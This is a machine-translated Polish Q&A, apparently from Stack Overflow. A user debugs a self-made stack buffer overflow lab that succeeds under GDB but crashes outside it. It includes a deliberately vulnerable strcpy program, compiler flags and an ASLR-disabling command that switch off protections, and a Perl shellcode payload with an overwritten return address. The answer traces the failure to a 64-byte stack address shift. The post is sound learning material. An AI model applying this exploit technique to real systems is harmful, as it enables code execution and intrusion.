2016-08-28 23 views
7

Przeczytałem o dawno temu w Bloku stosującym bufor przepełniony, ale postanowiłem skonfigurować wirtualną maszynę i faktycznie zobaczyć ją w praktyce.Przepełnienie bufora stosu: działa na GDB, nie jest poza nim

Poniższy kod był podatny Program:

#include<string.h> 

void go(char *data){ 
    char name[64]; 

    strcpy(name, data); 
} 

int main(int argc, char **argv){ 
    go(argv[1]); 
} 

został skompilowany przy użyciu opcji -zexecstack i -fno-stack-protector na GCC zarówno pozwalają kod w stosie jest wykonywalny i wyłączyć program wbudowany w ochronie przepełnienie stosu (wartość "kanarka").

gcc vuln.c -o vuln -zexecstack -fno-stack-protector -g

Potem użył GDB aby dowiedzieć się pozycję pamięci name na stosie i znaleźć następujący adres: 0x7fffffffdc10

Ponieważ mój VM ma nowszą wersję Linux, musiałem wyłączyć ASLR (Randomizacja układu przestrzeni adresowej) przez uruchomienie: sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space" lub sudo sysctl -w kernel.randomize_va_space=0.

szelkod został zaczerpnięty z artykułu znalazłem w Internecie o Stos Smashing i wprowadzono do programu przez skrypt Perl: „Hax”

perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"' 

Będąc pierwszych 45 bajtów szelkod (rzekomo napisać na ekranie), kilka dodatkowych 27 "A" bajtów, aby uzyskać wskaźnik we właściwej pozycji, a na końcu adres początkowy ładunku w małym endianie.

Problem polega na:

Po uruchomieniu programu na GDB, poprzez: "Hax"

gdb vuln 
>run `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'` 

mogę bieg szelkod i wydajność.

Podczas próby uruchomienia programu poza GDB jak

./vuln `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'` 

otrzymam Illegal instruction (core dumped) błąd zamiast „Hax!” wydajność.

Uderzyłem się w głowę, próbując dowiedzieć się, co jest przyczyną tego innego zachowania. Wygląda na to, że GDB domyślnie wyłącza ASLR, ale ja również wyłączyłem go przez sysctl na jądrze. Czy jądro może ignorować zmienną kernel.randomize_va_space? A może adres pamięci jest inny, nawet statyczny, na GDB i na rzeczywistym procesie? A może prawdziwy proces faktycznie uruchamia kod powłoki, ale coś dzieje się nie tak w rzeczywistym procesie, który GDB ignoruje/omija?

Jakieś pomysły, co może być przyczyną?

+0

Czy próbowałeś skompilować jako kod 32-bitowy? (np. '-m32') Nie znam szczegółów, ale wiem, że x86_64 ma dodatkowe bariery utrudniające wykonanie pliku. (nie, nie wiem, dlaczego działa w GDB ':)' –

+0

Czy to [NX] (https://en.wikipedia.org/wiki/NX_bit)? – Kevin

+0

@ DavidC.Rankin Próbowałem po prostu skompilować go jako 32-bitowy, ale były pewne komplikacje w tym procesie. Po ponownym obliczeniu miejsca, w którym przechowywana była zawartość, musiałem ponownie przeliczyć liczbę ogólnych bajtów, które trzeba włożyć, aby dostać się do * zapisanego wskaźnika instrukcji *. Niespodziewanie musiałem wypełnić bufor większą liczbą bajtów w wersji 32-bitowej, niż się spodziewałem: Myślałem, że będę musiał wypełnić bufor 64 bajty + 4 bajty Zapisany wskaźnik stosu, ale do zapisania * wymagane jest 64 + 12 bajtów wskaźnik instrukcji *. Nawet więcej niż w wersji 64-bitowej (64 + 8 bajtów). – murphsghost

Odpowiedz

0

Po przeczytaniu tej odpowiedzi (https://stackoverflow.com/a/17775966/6765863) zmieniłem coś podczas moich prób wykonania przepełnienia bufora stosu.

Po pierwsze, użyłem czystego środowiska, jak zasugerowano w powyższej odpowiedzi (env -i) zarówno w testach GDB, jak i zwykłych testach binarnych. W GDB musiałem dalej uruchamiać komendy unset env LINES i unset env COLUMNS, aby całkowicie usunąć otoczenie GDB.

Po drugie, użyłem pełnej ścieżki do pliku wykonywalnego, aby upewnić się, że zmienna argv[0] byłaby taka sama w obu testach, nie wpływając na adres ładunku.

Nawet po tych krokach mogłem jeszcze uderzyć w Ładunek w wersji GDB. Zrobiłem więc "debugującą" wersję kodu, w której wydrukowałbym adresy pamięci ładunku (który byłby "tablicą" nazw w funkcji "go") oraz adresy argv[0] i argv[1]. Końcowy kod poniżej:

#include<string.h> 

void go(char *data){ 
    char name[64]; 
    printf("Name: %p\n",name); 
    strcpy(name, data); 
} 

int main(int argc, char **argv){ 
    printf("Argv[0]: %p\n",argv[0]); 
    printf("Argv[1]: %p\n",argv[1]); 
    go(argv[1]); 
} 

Wiem, że powinienem wyraźnie uwzględnić stdio.h (moje złe!). Nie wiem, czy dodanie #include<stdio.h> zmieniłoby cokolwiek na adresach pamięci (nie sądzę, ponieważ jest to wywołanie przedprocesowe, które prawdopodobnie jest nazywane w ten sam sposób przez kompilator, ale po debugowaniu nie zrobiłem tego chcą ryzykować, że trzeba będzie to zrobić ponownie, jeśli program będzie działał tak czy inaczej).

W każdym razie zauważyłem, że adresy różniły się nieco w testach GDB i zwykłym teście. Aby być bardziej szczegółowym, adres ładunku miał przesunięcie + 0x40 (64 bajty). Zmiana skryptu Perla tak, aby rzeczywiście trafił w ten adres, wystarczył, aby działał poza GDB.

Nadal nie jestem pewien co może być innego na stosie, ale cały problem dotyczył dokładnych adresów, które nie pasują do obu testów. Jeśli ktoś ma jakiekolwiek pojęcie o tym, co może być dodatkowymi 64 bajtami w testach GDBs, z przyjemnością dodam go do mojej odpowiedzi!

Powiązane problemy